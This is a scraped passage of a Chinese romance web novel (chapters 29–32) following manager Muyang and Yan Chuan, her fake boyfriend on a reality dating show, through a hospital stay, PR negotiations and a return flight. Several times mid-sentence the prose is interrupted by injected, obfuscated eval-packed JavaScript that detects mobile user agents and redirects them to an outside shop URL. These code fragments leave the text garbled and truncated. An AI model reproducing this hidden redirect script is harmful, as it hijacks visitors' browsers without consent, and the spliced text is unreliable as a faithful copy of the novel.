l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992419|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆打钱的时候,他们会给我寄一点。” 进口的、豪华的包装袋,花里胡哨,比最好看的衣服还要鲜艳百倍的零食零嘴。 “我就拿那些糖,还有薯片、饼干送给其他小朋友,”牧阳说,“这样他们就会愿意和我玩,会捧着我。我可以维持整个村里小孩之间的秩序,他们不会欺负人,也不会被欺负。” “只有巧克力,吃不惯,他们都嫌苦。” 那个时候的孩子们都太小了,喜欢彩色的、酸酸甜甜的糖果,喜欢会在嘴里发出脆响的薯片,喜欢设计得奇奇怪怪的小零食。 在那个小小村落,不小心“滞销”的进口巧克力,最后全进了牧阳的胃袋。她一开始也吃不惯这个苦味,但很快就发现将它含在嘴里过一会,便能品出不一样的甘甜。 “巧克力可以嚼,也可以在静静的等待中融化。”她说,“每次,我都是边吃边在想,我家是什么样子,我父母是什么样的人?” 为什么不来看看她?为什么不来把她接走? 是在忙吗? 为什么不知道让她接一次电话,听听她的声音呢? 因为牧阳几乎全在吃巧克力,舅公有一次就在电话里提了。自那之后,牧阳就更少看到其他零食;随着打款一起到家的,几乎全都是各种不同地方、不同品牌的巧克力。 巧克力就是世界。 除了稻溪,全世界都是巧克力。 “所以,巧克力……让你想家吗?”晏川问她。 “……倒也不是,”牧阳精神恹恹的,提到家,她的心情算不上好,只觉得说不出的烦闷,“不如说,巧克力是一个盼头。” “有了巧克力,生活就会变得更好。”牧阳拍拍他的胳膊,“你有没有觉得好受一点?” 晏川点点头。 “我有点困了,”牧阳如实说,“这样,我睡三个小时,到后半夜你叫我,我起来守夜。” 她把自己随身的腕表摘下来递给他。 晏川接过,指尖触到她的指甲,还没来得及反应,对方已经转到火堆的另一边,蜷缩着卧倒了。 四周黑茫茫一片,只有火,只有这团明亮的火光。 晏川朝旁边挪了一些,拎起两人脱下的衣服,发觉自己的衣服离火堆更近,此刻已经被烤得更干一些。 他披上衣服,拎起她的外衣,让它与暖热的气息更近一点。 牧阳低头蹙着眉,好像这一觉对她来说也并不安稳。 晏川收好手表,一手小心拎着她的外衣,另一只手平移着,拿起一根被烘得干燥些的树枝,把它也投入火堆里。 发生了这么大的事,还累了一天,此刻好不容易精神放松下来,牧阳实在支撑不住。晏川望着火堆,没多时就听到她均匀绵长的呼吸声。 夜晚的山林太安静了。 晏川侧耳听了一会。 雨变小了。 他忽然萌生许多卑劣的,不该产生的念头。于是,他慢慢地将身体挪过去,在不惊动她的同时,慢慢朝她靠近。 燃烧的火堆偶尔发出噼啪声响。他压低身子,凑近她,像小动物一样,嗅闻她的睡颜。 “谦谦姐姐,你真的忘记我了吗?”晏川的嘴唇动了动,声音比燃烧的火堆还要轻。 又不想惊醒她,又实在是不甘心。 “还是你记得我,只是不在意我?” 29. 【二九】 她肯定是忘了什么事情了。 牧阳被吵醒的时候,只觉得自己浑身发烫,头晕晕的,目之所及是一片辉煌的暖色调。有那么一瞬间,她以为她已离开人世。直到柔软的触感贴近她,将她的灵魂都包裹起来。 细软的毛巾毛毯盖在她身上。抬头望去,身边蹲着的那个人,她再熟悉不过了。 “姬慧……”她一开口,就发现自己嗓子完全哑了。 “牧姐!”姬慧一喜,手背贴上她的额头,立刻朝外大喊,“快!送牧阳姐下山,去医院!她发烧了!” 牧阳靠着姬慧,很快被两个工作人员搀扶起来,她谢绝担架,自己往下走。 只是自己这段路怎么走的,她也有点忘了。 在医院挂水的这段时间昏昏沉沉。 她不记得自己是不是醒过,总之醒来又睡下去。 梦里的场景光怪陆离,什么神奇的东西都见了,就是见不到那只老喜欢给她托梦的小狗。 真是的,该来的时候不来。 “小川!小川!” 她在梦里大喊。 一个头发湿漉漉,低垂着头的小男孩走了过来。 他黑漆漆的眼睛盯着她,像是在观察她的危险程度那样,警惕地和她对视。 “小……” 牧阳忽然反应过来,她刚刚喊的不是“小狗”,而是“小川”。 她缓缓睁开眼。病房的天花板,熟悉的吊瓶留置针,还有把笔记本电脑放在小桌板上,在她身边办公的助理。 “牧姐!你醒了!”姬慧激动不已。 “晏川呢?”她问。 “在节目组安排的宾馆里!昨天下午他就出院了,身体素质比你好多了。”姬慧压低声音,“我让他先回去留意着,顺便打听一下节目组的态度。” “他那么年轻,身体素质好是应该的。”牧阳点点头,满意姬慧的安排。 “那你们前天……有没有发生什么事啊?”姬慧眨眨眼。 牧阳没好气道:“能发生什么事,就聊天呗,睁着眼睛都不敢睡。” 姬慧遗憾叹气:“确实,我们当时都担心死了……天呐,你不知道百川哥,咳咳,芙姐都打电话来问你了知道吗?她竟然第一时间想的不是控场的方案——” 牧阳摆摆手:“说一下从我们脱队之后,节目组后来的情况,发生了哪些事情,小春都是这么处理的。” 姬慧立刻端正态度,开始和牧阳一五一十复盘这两天节目组的主要情况。 牧阳留心听着,时不时提出几个要点。大部分该做的姬慧都做到了,偶尔有疏漏的,她就立刻记下来:“还得是姐,我都没想到。” “等你多练几年,肯定比我厉害多了。”牧阳实话实说。 “没有牧姐领着我,我怎么学得快呀。”姬慧半是真心,半是撒娇地凑近她。牧阳笑了笑,还没说什么,就听到门外的敲门声。 到时间了。护士进来帮她换了药,叮嘱了一些注意事项。等人离开,牧阳还是没能和姬慧再多说两句。 病房的门又被敲响了。 “来看姐的人可多了,之前都是推说还睡着,全拒了。”姬慧抱怨着。 “没办法,我醒了,逃不过啊。”牧阳挥挥手,示意姬慧去开门。 门一开,姬慧后退一步,和牧阳对视一眼。 牧阳看向门口的人,挥手示意:“说曹操,曹操到。” 小春手里拎着保温饭盒,几步走到牧阳床前:“你醒了,我比中彩票还高兴。” 她笑得倒是有几分真心实意。 “你的高兴还是留着等节目爆了再说吧,”牧阳抬手去掐她的脸颊,“没睡好?这么重的黑眼圈,你妆都没化就出来找我了?” 小春没好气地摘下她的手:“你以为还在核桃实习那会呢?” 牧阳不客气道:“你年纪大了,脸上的肉掐起来没以前好玩。” “那你还掐!”小春佯作生气,又一秒破功。 两个人都笑了,气氛顿时轻松下来。 “对不起,我……” 牧阳止住她的话头:“别说场面话了,来,谈方案。” “先吃饭吧好不好?看你一醒过来就那么辛苦的工作,多不好,看我专门给你准备的……” “谢谢你,太客气了。”牧阳行动一点不客气,招呼姬慧把饭盒打开摆在小桌板上,“你把方案讲一下吧,我听听看。” 小春只能无奈点头,展开自己的笔记本,把公关方案拿给她。牧阳拿着勺子,一边吃一边挑挑拣拣,小春也只能叹气,又是卖惨,又是讨好。 “我这也是没有办法……” “你知道该怎么办。”牧阳平淡道。 她一勺勺挖粥,头也没抬。小春这边还在试图软磨硬泡:“而且后面我会有一个种地的节目策划方案,你可以推你们家的偶像组合给我,我保证——” “后面的事,后面再说。”牧阳放下勺子,看向她,“观察式情侣旅行恋综,旅行的情侣嘉宾都没有问题,那问题是不是就出在观察嘉宾身上了?” “你……”小春没想到牧阳会这么直白,她尴尬地咽了咽口水,视线也忍不住偏移,“我是真没想到,你这么决绝吗?” 牧阳只是微笑着,双眼一动不动地注视她。 小春知道避无可避,终于忍不住说:“你有没有看信息?” “嗯?” “江百川很关心你,”小春叹了口气,心想要是牧阳看了,估计也不会当回事,“他居然给我打私人电话,你知道吗?” 她也顾不得牧阳什么心情了,深吸一口气就开始倒苦水:“他说,‘如果三天内见不到牧阳,我就要让你知道天有多高。你会在这个圈子里没法混,别怪我没提醒你。’你懂吗?!我当时已经很着急了!” 牧阳空着的那只手捂住额头。 “服了!”小春言简意赅。 姬慧忍不住笑了一声,看到牧阳的脸色,又立马止住笑,做出拉链封嘴的手势。 “过去我跟着他,一直看着他不让他在外面乱咬,怕他说错话,得罪人,”牧阳低下头,“这些日子明煊没有人管他,不知道他都搞了点什么令人发指的事。” “那……反正他是艺术家嘛,真正的艺术家,”小春挑眉,意有所指,“性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992420|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情中人呐。” “在这混,首先是钱权名利,其次是人情世故,再下是以众暴寡,互相抱团,最后才是人品与才华。”牧阳摇摇头,“他这里面占几样?” “你这话可不对啊。”小春立刻说。 牧阳笑了,语气也松快起来:“我开玩笑呢。再说,高总花大代价挖他去,总归待他不薄。你要是嫌他烦呢,就去找高总说说他。” 小春摇摇头,叹气:“我和你熟,和高明煊又不熟。再说,他跟了高总,能有什么好……到底不如你。” 想到这里,小春抬起头,仔细将牧阳瞧了一遍。可能是病后初醒,她整个人像是瘦了一圈,看着身体虚弱,但还在坚持工作。 她忍不住拍拍牧阳的肩膀:“行了,我都知道了。你等着吧,好好休息。” 于利春报了个时间。 不出意外的话,这就是恢复录制的时间。 等小春探完病离开,姬慧才说:“刘导已经走了。后天恢复录制,小春姐会亲自监工。” “刘俊超跟她四年了吧。她也算是自断一臂,保命求生。”牧阳摇摇头。 姬慧也跟着唏嘘起来。 牧阳却是摸着刚才被小春拍到的地方。小春下起手来可真没个轻重,她只觉得肩部的骨头有点幻痛。 “……不知道小川的肩怎么样了,”她喃喃着,一边揉肩,一边侧头问姬慧,“你留意了吗?他有没有事?” “什么?哦,小晏同学,”姬慧想起来了,“他有点感冒吧,不过论程度,肯定是比你轻多了。他睡了大半天,醒来就恢复得差不多,医生也说没有问题。” “不是,我是问他的肩。”牧阳指了指自己的肩膀,“我们在山洞躲雨的时候,他的肩膀好像有点拉伤。” 姬慧愣了:“不知道啊……我看他挺正常的,不过我也没太注意,当时你情况比较严重,我只管看住你了。” 她说着就把手移到笔记本触摸板上:“那我问问他。” 牧阳拦了一下:“直接拿我手机给他打电话。” “哦哦!”姬慧连忙放下手,从旁边的包里捞出牧阳的手机,点了两下,拨通电话。 牧阳凑近手机,竖起一根手指。 姬慧看着她的动作,忽然醒悟了什么,连忙递出手机,整个人向后仰去。 牧阳没管她,低头听电话:“喂。” “喂。”晏川的声音,“牧阳?” “是我。”牧阳立刻问,“你身体恢复了吗?感觉还好不好?你肩膀上的伤……” “都好。”晏川说,“我一切都好,别担心。你醒了?吃过饭了吗?” “对,我刚吃了点……”牧阳讷讷回道。 他那边好像有风声。 “我现在就过来!”晏川说。 她还没来得及说话,电话就被挂断了。 ……所以是他在跑吗? 牧阳怔怔看着手机上显示的通讯记录,半晌无语。 姬慧仔细观察上司的脸色。确实不太一样,牧姐对那个朱古力小晏比之前见到的时候亲昵多了,话里话外都显得放松,好像他们关系特别近似的。 30. 【三十】 “帮我倒杯水。”牧阳对姬慧说。 “哦,哦!”姬慧不再发呆,立刻起身去给牧阳倒水。刚做了一半,她莫名其妙来了句:“姐,其实我也渴了!我去楼下买杯咖啡!” 牧阳没拦她。 姬慧前脚刚走,后脚有个人不敲门就撞了进来。 像是听到主人喊名字,就不管不顾飞奔而来的小狗。 牧阳指着他:“退回去敲门。” 晏川立刻后退一步,重新把门敲响。 她这才点点头,朝他招招手。 晏川走得近了。 牧阳这才舍得看向他,这一看就发现不一样。他竟然穿着那件衬衫——她收拾行李的时候说想看的那件。 不过,衬衫之下的肌肉她都见过了,再见到这件衬衫,竟然还是只想到衣服里面的身材,唉…… 牧阳抬起手,试探地按在他肩上:“真的好了?” 晏川点点头:“嗯。应该只是太冷了,睡了一觉,现在已经恢复了。” 牧阳点点头:“好。” 她正准备收回手,晏川却身体前倾,像是从她的手心里钻出来似的探过头:“你这里。” 她的掌心好像还残留着他头发的手感。这家伙的头发好软,有一种很好摸的感觉。 牧阳发呆的片刻,就有一只手落在她唇角,抹去了上面的一粒饭粒。晏川把自己的手指举给她看。 “……啊,刚刚喝的粥。”牧阳觉得有点丢脸,撇开眼。 她去拿纸,可惜纸张摆在另一边床头,离她远了些。晏川绕过去,坐在刚才姬慧的位置,伸手抽出一张纸。 她连忙把纸扯过去,晏川反应不及,手心只剩下纸的一角。 他哭笑不得:“别急。” “我没有。”牧阳装作平静道。 “嗯,你没有。”晏川把手上的纸角搓成一个小点,让它落进垃圾桶里。 牧阳侧头看他。 这人怎么顺光侧逆光都好看,风格还不一样,各有各的韵味。 光线暗处就更加了,配上这件她一眼挑中的衬衫,阴郁的少年感扑面而来……甚至有一种青春疼痛文学男主角的感觉。 “你笑什么?”晏川刚倒完水,一抬头就看到牧阳在偷笑。 牧阳接过水杯:“没什么,你真贴心。” “小心烫,你感受一下水温,”晏川嘱咐,“我看水壶和水杯都在,你是不是本来就想喝水?” “哎呀,大侦探!”牧阳拿起水杯抿了一口,“真厉害,这都被你发现了。” “……别逗我玩好吗,”晏川无奈叹气,“我在宾馆遇到了蔷薇姐和贺导。池知夏明天有一个通告,她昨天就飞走了。姚柯叶在准备试镜,贺导说有一个角色给他。” 牧阳点点头:“经过这次意外事故,他们也该成了生死之交。” 本来的客气话,也真的化成橄榄枝。 姬慧告诉她,他们失联虽然严重,但另外四位嘉宾的情况也没好到哪里去。虽然四个人成功下山,但回营地的路上车辆遇到了严重的积水,他们和其他几个工作人员是一起被救援队捞走的。 节目组搭建的小屋本来就在下水位,据说一楼都被淹了一半,只有二楼的星空房还是好的。 不管怎么说,这不大不小都是一起安全事件。牧阳也和小春提议,干脆放弃补拍,多留点时间做清场公益。 “是这样,”晏川证实了牧阳的猜测,“不过我感觉蔷薇姐和贺导好像有什么事情想和你说,不过我一问起来,他们就欲言又止的样子。” “他俩动不动嘀嘀咕咕的,平时就喜欢蛐蛐别人。说不定呀,他们就是被你发现了,正害怕你呢。”牧阳没当回事,“他俩其实是真的,而且感情一直很好,偏偏外人不信。” 两对假的倒是演得比真的还真。 她低头往水杯里缓缓吹了口气。这水确实偏烫。 晏川的手在身侧缓缓收紧。 沈蔷薇和贺平是真的。 池知夏和姚柯叶是假的。 他们……牧阳和晏川,也是假的。 “那……你接下来打算……”他想问,又有些不敢问。 水温终于彻底变得适口了。牧阳心满意足地咽下一口,这才看向他。 晏川低着头。此刻如果他有狗尾巴的话,肯定是在拼命摇尾巴了。 看得出来很不舍嘛。 “你怎么想?”牧阳问他。 “我……” 在那个敞亮、空旷的山洞里,他也曾试图袒露自己的来历。但牧阳明显没有心情听这个。当时的她处于慌乱之中,而且她显然很反感明煊娱乐,言辞激烈到了他从未见过的程度。 晏川深知牧阳对明煊娱乐的厌恶。他更应该把明煊的计划和她说了。该说的。 逃不掉的。 与其等着被她发现,不如…… 晏川的嘴唇动了动,却什么也没有说出来。 不想被她讨厌。 ——他无法承受。 那种只要说出口,就从此和她失去了联系的可能性再度出现。她会中断这次录制吗?也许目前的素材也足够了。或者直接“分手BE”,她会要求演给观众看吗? 他要被她再抛弃一次吗? ……哪怕是假的。 哪怕他无法承受她发现的后果。 他好像也不能再次提起这件事。 之前做好的准备,充分的心理建设,好像都在山洞里耗尽了。回到了山下,回到了人群之中,他好像又说不出口了。 自私、胆怯、软弱。 这些他当年用来形容那个人渣的话,现在他又用来形容他自己。 晏川不说话了。 他像是有什么顾虑,说不出来那样,那根隐形的尾巴也失落地低垂了。如果真的是小狗的话,这个时候会不会干脆趴下来,呜咽一声? 牧阳看着晏川为难的神色,想抬手,又意识到自己还在输液。她低头看他的表情:“怎么不说了?这个样子……你很委屈?” 晏川连忙抬头:“没有。” “现在又好像是在等我判刑了,”牧阳叹了口气,几乎是无奈地笑了,“我有那么凶吗?” “当然不是。”晏川立刻反驳。 “我也觉得我没有,”牧阳问他,“那你在顾虑什么?” 晏川这下不得不答了。他硬着头皮开口:“我在想……营业到什么时候?” 什么时候,他会被她放下,抛在一边。 “你接下来什么计划啊。”牧阳问。 晏川怔了一下:“嗯?” “准备工作吗?”牧阳问,“还是……考个研究生?” 话题一下子被切到这么现实的方面,晏川一下懵了。他顿了顿,把头甩了甩,像是要把脑子里的怪念头都甩出去似的。 “还没想好,”晏川说,“这个学期结束前……做好决定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最后,他的手撑在镜子上,一滴眼泪从他的眼角滑落。 任谁看了都觉得动情。 坐在房间角落里的六六看得是目瞪口呆,连水杯拿在手里都忘了。另一边的李铭运此刻拿着手机,正在偷偷地玩消消乐。 江百川却忽然在练习室跪了下来。 “咚”一声,吓得六六没拿住水杯,矿泉水瓶砸在他脚上,他痛呼一声,又马上闭嘴,不敢打扰江百川的状态。李铭运头也没抬,只管下一个连击。 六六捡起水杯,看向场中撑在镜子前,肩膀一耸一耸的那个男人:“哥……别演了不,我看这一段你已经演得够好了……” 他忍不住劝道。 江百川却在此时突然转过头来,猩红的双眸吓了六六一大跳。 男人几步走到他们面前,却没对着六六,而是手臂一撑,罩在了李铭运上方。 “其实我想回到我解约的前一天。”他低声说。 “嗯嗯。”李铭运敷衍道。 “不,直接回到那个春天吧。”江百川陶醉地说,“我们第一次见面的那一天。这样更好。那个时候她刚好大病初愈,又失了忆,我刚好可以告诉她,其实我们已经谈过了。” 31. 【三一】 李铭运的连击中断了。他有些不情不愿地退出游戏:“你已经这样许愿一百多次了。” “你数了吗?”江百川却忽然激动起来,他蹲下身,像是求救一样望着李铭运,“也许我许愿九百九十九次,上天就会实现我的愿望!” 李铭运低下头,这次点开的不是消消乐,而是动物餐厅。 “那个时候的她还不是这样的!”江百川激动地跪着,“她还没有像现在这么老于世故,她也不是眼里只有利益,我还能在她眼中看到纯粹的热爱……” 六六都听蒙了:“江哥,你们在说什么啊?” 这段台词剧本里没有啊?! “那个时候的牧阳不是这样的!”江百川长叹一声,“她分明是一个爱憎分明、嫉恶如仇、热烈如太阳一样的好女孩!” “……你高兴就好。”李铭运收拾完餐厅,又去收拾他的电子健身房。 江百川也不在乎李铭运又在做什么赛博地产大亨,只管陶醉于他的“重生文学”,六六想插句话都没有机会。 直到一阵气势汹汹的敲门声响起。 练习室的门直接被暴力踹开,高明煊愤怒地闯了进来,大踏步走到他们面前。他揪住还跪在地上入戏的江百川,拖着他的领子,让他朝向自己:“你在干什么?!” “高总,江哥在入戏……”六六连忙解释,高明煊却毫不理会,只是盯着江百川。 “我问你,于利春找我说,‘天有多高’是什么意思!” 江百川茫然地看着高明煊好半晌,才慢慢回过神来,眼神聚焦到他身上:“你说什么?” “于利春说你找过她。”高明煊说。 江百川低下头,想了好几秒。这回终于像是回到现实世界了。 “怎么了?”他问。 “怎么了!”高明煊愤怒得都要笑出声了,“怎么了?!我问你怎么了,你为什么要擅作主张给她打电话?你在这个节骨眼找她干什么,你现在不是正在和她合作,你不是马上要去当嘉宾吗?” 江百川点点头:“对啊,就打个电话而已。” “你正面回答我,你为什么要威胁于利春。”高明煊深吸一口气,“现在她来找我,问我是不是想警告她什么。你知不知道你这么做在破坏公司的布局?” “关我什么事?”江百川反而觉得莫名其妙,“我为什么管公司的事?不要打扰我练习,我出戏本来就难。” 高明煊眼睁睁看着江百川若无其事地站起来,若无其事地去喝水,若无其事地去看台词本。 “我都有点想把你退回去了。”高明煊忽然说。 江百川听到这话,反而很感兴趣:“当真?” 高明煊:“……我就不该找你。六六,来。” 从刚才开始到现在一口水也没喝上的六六:“……行。” 六六的五官挤在一起。 他,苦啊! 医院门口。 牧阳拎着一袋药,小跑着上车:“怎么样?” “牧姐!你身体呢,医生还有没有再叮嘱什么?”姬慧问她。 牧阳展示手里的药:“按时吃药再观察两天就没事了。我没影响,小春怎么说?明天……” “改期了。”姬慧有点无语地嘟囔着,“你看工作群的转发消息。” 牧阳拿出手机,开始找工作群消息。姬慧手指一滑点开导航,目的地定位到酒店:“还是姐你说得对。” 这两天除了联合捐款,帮助山脚小镇居民赈灾的时候有过短暂的拍摄记录,节目组并没有集体大规模地动工开机。 相关评估出来之后,大家发现本地居民损失并不严重,损失最严重的其实就是节目组——误工费、医药费、设备报损…… 背锅的刘导一走,事故的利害关系自然是推到他头上。于利春当机立断,很有本事地多方斡旋,据说不仅稳住了原本的赞助商,还拉来了一个很强势的新投资方。 “那她有没有说新投资方是谁?”牧阳好奇道。 这一点姬慧不可能知道了,她摇摇头。牧阳也知道问不出来,没有继续这个话题。 姬慧主动开口:“姐,小春姐虽然会议上没明说……” “我知道,”牧阳安抚她,“无非就是再次改期,重启录制。不过,她就算能协调我们六个人的拍摄周期,也来不及赶上观察室部分的录制进度。” 他们六个人里咖位最大的就是沈蔷薇,而沈蔷薇最近的档期很空。牧阳和晏川这种“素人”理论上就更加好协调,只要价钱到位,很少有不能改动的行程。池知夏和姚柯叶那边透露出来的口风也很配合,这事基本上就敲定了。 “对啊,那……” “打个电话问问就知道。”牧阳没纠结,在车上直接发了个消息给小春,开启语音通话,“喂?小春,是我,牧阳,我刚出院了。” 两人寒暄几句,姬慧开到红灯处,停下来侧耳听牧阳和于利春沟通。 她听不到于利春说了什么,牧阳笑了一声:“所以你是想将最后一条的录制,和观察室的嘉宾一起进行咯?” 姬慧一下瞪圆了眼睛,直到两人身后响起喇叭声。牧阳一挥手,姬慧匆匆忙忙把车开出去,恨不能伸长耳朵听到于利春说的话。 牧阳当然是能听到的。 于利春说:“说不定呢。这事儿不定啊,说不准的。” “算我猜的呗。”牧阳笑道。 “我也就是顾虑你……你要是不想来,提前和我通个气。”小春的声音听起来也很无奈。 “来啊,干嘛不来。”牧阳说,“避开才有鬼呢。放心吧,我是来澄清绯闻的。俗话说得好,真理越辩越明,观众粉丝们哪个不是‘眼见为实’,不放点料谁信?” 于利春:“笑死。那不打扰你休息了,我这边先忙,挂啦。” 牧阳看消息界面上的通话记录。 姬慧忍不住小声问:“牧姐……” “她说不确定,那我们当然也就是当‘还没定’啦。”牧阳笑道,好像有什么天大的乐子似的,“你说,自己做的矛和自己做的盾,哪个容易赢?” “这……”姬慧卡壳了。 “后做的那个容易赢啊,”牧阳说,“正因为清楚前一个武器的缺点,才更好做出针对性的设计。” 姬慧却下意识道:“可是,前提也得是,前一个武器有弱点,足以被针对吧?” 她说完,忽然意识到这里的“矛和盾”不是她熟知的那个成语典故,想找补也晚了,恨不得自吞舌头:“我不是!怎么可能会有没有缺点的武器……” “好好开车。”牧阳无奈地耸肩,“集中精神。” 姬慧深呼吸。 眼看酒店越来越近,牧阳微微仰头,看了一眼恢复湛蓝的晴空:“事在人为。不着急,总有‘机会’,对吧。” “……嗯!”姬慧点点头。 牧阳远远就 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“哦,”牧阳反应过来,给他解释,“正常的物料曝光,时不时放点消息出去,一方面是配合节目宣传,一方面是维持我们的热度。” 提到正事,她干脆一并说下去:“既然拍摄延期,那我们今天就可以定机票出发回去了。等会你把行李收拾好,来我的房间集合吧……我让姬慧帮你订机票。” 晏川皱起眉:“帮我订机票?”难道不是一起订机票吗? “你不回去。”他问。 “我和姬慧有其他事。”牧阳没有解释的打算,“回去好好上课,有事你还得请假。” “我的课不多的。”晏川连忙说。 牧阳笑着抬手,摸了摸他越凑越近的脑袋:“我知道。凑那么近干什么,保持绅士的距离。” 晏川就用那种委屈的狗狗眼盯着她看。身侧的手臂摆了半圈,示意自己已经空出了足够的社交距离。 牧阳无语地上下打量晏川,一掌将他歪过来的脑袋退回去:“好了,站直。” 晏川果然站好了,只是仍然在低声问她:“那你们去哪。” 电梯门一开,牧阳率先走出去,晏川连忙跟上。 一直到进了屋,牧阳坐在床边,一边脱鞋一边说:“西京。” “西京?”晏川很惊讶,却态度很自然地凑过来蹲下,帮她脱鞋。 牧阳本来就累,看有人收拾,她顿了一下就任他摆弄,随意道:“是,公司的事。” 她看着晏川毛茸茸的脑袋,突然想起面前这个人可是在西京生活过很长时间:“西京有什么好吃好玩的?” “西京啊……”晏川给牧阳换上拖鞋,连着说了好几样记忆里的西京当地美食。 牧阳就这么听他介绍,两个人不知不觉走到了洗手间。晏川洗完手才发现牧阳就靠在门口看他。 “所以……” 晏川还没开口请她让开,牧阳已经指了指门外:“去坐着,我洗个澡。” “……行。”晏川低下头,走出卫生间,看到里面关上了门,松了口气。没等他静下心来,水声一起,他又一次捂住额头,整个人陷在沙发椅里。 房间门一开,姬慧闪身进来,就发现浴室里水声一片,晏川背对着门窝在沙发椅上,发型看起来都乱了。 “……我来得不是时候?”她问。 32. 【三二】 晏川本来低着头,发觉有人进来,立刻端正坐直:“慧姐!” “没事,你随意。”姬慧反应过来。她关上门,非常自然地走到行李箱边开始打包:“你的行李收拾了吗?” 没人回。 “小晏同学?”姬慧问他。 “哦!”晏川这才反应过来,如梦初醒似的,“我先回去收拾行李。” “嗯嗯,你去吧,等会敲门进来。”姬慧说。 牧阳的脑袋从浴室门口探出来:“姬慧?” “牧姐!” 牧阳松了口气:“帮我拿一下我那两件。” 姬慧和牧阳太熟了,她早已习惯牧阳因为性急常常忘带东西就去洗漱,这会很快把她的干净衣物连带着护肤小样都递过去:“给。” 牧阳松了口气:“幸好有你,谢啦。” “晏川已经走了。”姬慧说。 牧阳刚要关门:“这么快?” 姬慧回神:“我是说他去收拾行李,马上就过来了。” “嗯,知道了。”牧阳猛地关上门。 等晏川敲门进来的时候,就看到牧阳换了一身衣服,正在手机上看着什么信息。等他再走近一步,牧阳就抬起头来看他:“我知道你身上香味怎么来的了。这家酒店的洗护用品是檀香,对吧?” “嗯。”晏川点点头,注意到她依然湿润的发梢,“不吹头发吗?” “……不想吹。”牧阳移开视线,“给你把机票定好了,等会到机场你先走。” 姬慧蹲在地上打包行李箱:“牧姐就是喜欢拖延。头发晚一点吹也不会干的!我们要赶紧去机场了。” “我帮你吧。”晏川说。 “哎!”牧阳连忙起身。 到底是晏川手长脚长动作还快,牧阳不是对手。他举着吹风机凑近她。 “别开枪。”牧阳一手拿着手机,一手敷衍地举起。 晏川无情地按下开关,对准牧阳的头发。他声音倒是很温柔:“这个温度合适吗?” 牧阳点点头。 “你是不是把……” 晏川听不见牧阳讲话,于是把吹风机调小一档,耳朵凑到她脸侧。牧阳问他:“家里的那瓶沐浴露被你带过来了?” 檀香是木质香调,但是没有果香。 “嗯,葡萄。”晏川说。 虽然他们作为嘉宾当初被限制了行李,但该带的东西早就另由姬慧保管,同步托运过来。牧阳没想到这个他还会带,拍拍他的胳膊:“你还挺精致。” 精致的晏川坐在她身后吹头发。牧阳好像真的只是在玩手机,此刻一条条地浏览视频信息,看到可爱的猫猫狗狗还不忘记点赞。 牧阳回过头。 吹风机的风落了空,她抓了抓头发:“热。” 晏川连忙回神:“对不起。”他好像也有点看进去了,热风一直落在同一个位置。 牧阳轻笑一声,把吹风机从他手里抽走:“看自己的手机去。”暖风划过他的脸庞,很快又卷回她的发梢。她自己去吹另一边了。 机场的风也是一阵一阵的,凉快得有点冻人。晏川回过神,意识到牧阳在和他搭话。 “所以就是你说的酸奶、驴打滚,还有呢?”牧阳问他。 “……其实我了解也不多,”晏川不得不承认,“我很少在外面吃。” “行的,我知道啦。”牧阳点头。 他忍不住说:“那我到时候再找找。” “好啊,那到时候你想起来,再发给我看。”牧阳笑着,一点也没有纠结。 晏川看着她朝自己挥手,忽然感到一种巨大的失落——那是悬置很多年的心愿突然被满足后,内心升起的茫然。 机场的光太亮了,上下一白,照得他好像身处天堂。恍惚的一瞬间,牧阳好像放下手,朝着他靠近了。 牧阳发现这一路晏川没少发呆。 估计是累了吧,毕竟这些日子他们也有的忙的。这个半途捡来的小朋友也是正常人,和那种戏疯子不一样,估计和她相处这么久,说不定也快到极限了。 牧阳的手抬起来,又轻轻地落下去。 晏川以为她会吻他,结果没有。她的手指落在他的肩上,给他整理了一下衣领。 “出发吧,”她笑着退开一步,“拜拜。” “拜拜。”他说。 他感觉他的心落在水里,吸饱了水,酸胀沉重得冒不出气。 “心情这么差——” 晏川面无表情地看着帽子藏假发,墨镜配口罩的室友。 薛有晴拽着晏川的胳膊,一副哥俩好的样子,拉着他一路去了停车场。晏川被薛有晴推上副驾驶座,看对方殷勤到反常地又是帮忙放行李,又是开关车门,上车竟然还主动给他递饮料:“快乐水,喝不喝。” 晏川面无表情地把饮料按回去:“到底有什么事?怎么来接我。” 薛有晴“嗐”了一声:“哎呀,当然是查到你的航班专门来蹲点的,没办法嘛,咱们是好兄弟,你不开口,我也只好主动——” 晏川一点接话的意思都没有,甚至还掏出了手机。 薛有晴的兴致一下索然了。他撇撇嘴,不喜欢不给反馈的室友:“专门来的,你当我闲?带你去见个人。” 晏川刚给牧阳发消息说明自己飞机落地了,就听到薛有晴这话:“……老板?” 薛有晴恍然大悟,一拍方向盘:“对,就这么叫!” 晏川反问他:“你不知道他是谁吗?” “不知道啊,都是线上联系,罗哥才知道他是谁。”薛有晴理所当然道,“怎么可能让我们知道啊?被发现了不就完了,线人都是单独联络的。” “所以这次也是你第一次见他?”晏川问。 “……不一定呢,也可能就是见见罗哥。”薛有晴说,“哈哈,反正见到了就叫老板呗,总不会出错,不然叫金主爸爸?” 晏川一脸警惕地看着他,一言不发。 薛有晴倒是自己反应过来:“金主爸爸这个称呼是不是容易惹到女粉?唉,我女粉比较多,叫金主姐姐?金主妈妈?” 晏川一句不搭,薛有晴自己还在那盘算呢:“干脆叫金主父母……衣食父母,那我的粉丝不算父母吗……也是有男有女啊……” 